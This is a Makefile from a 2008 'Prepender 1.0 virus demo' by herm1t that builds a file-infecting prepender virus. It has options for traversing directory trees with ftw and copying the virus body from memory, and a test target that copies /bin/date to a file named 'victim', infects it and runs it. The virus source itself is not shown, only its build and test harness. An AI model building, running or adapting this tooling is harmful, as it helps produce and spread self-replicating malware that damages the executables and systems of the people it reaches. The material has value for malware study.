# Prepender 1.0 virus demo (x) herm1t, 2008
#
# Compilation options
#
# SIZE_RT  - determine the virus size at run-time,
#            using hardcoded value (FIX IT!) otherwise
# USE_FTW  - use ftw(3) function to traverse directory tree,
# FROM_MEM - copy virus body from memory, not from file
# DBG_SIZE - print virus size
#
DEFINES=-DSIZE_RT -DUSE_FTW -DFROM_MEM -DDBG_SIZE

CFLAGS=-s -Os -fomit-frame-pointer -Wall

prepender: prepender.c Makefile
	$(CC) $(CFLAGS) $(DEFINES) $< -o $@

set_mark: set_mark.c
	$(CC) $< -o $@

test: set_mark prepender
	./set_mark ./prepender
	rm -f set_mark
	cp -f /bin/date victim
	./prepender `echo -e '\007'`
	./victim

all: test

clean:
	-@rm -f prepender set_mark victim

.PHONY: all clean
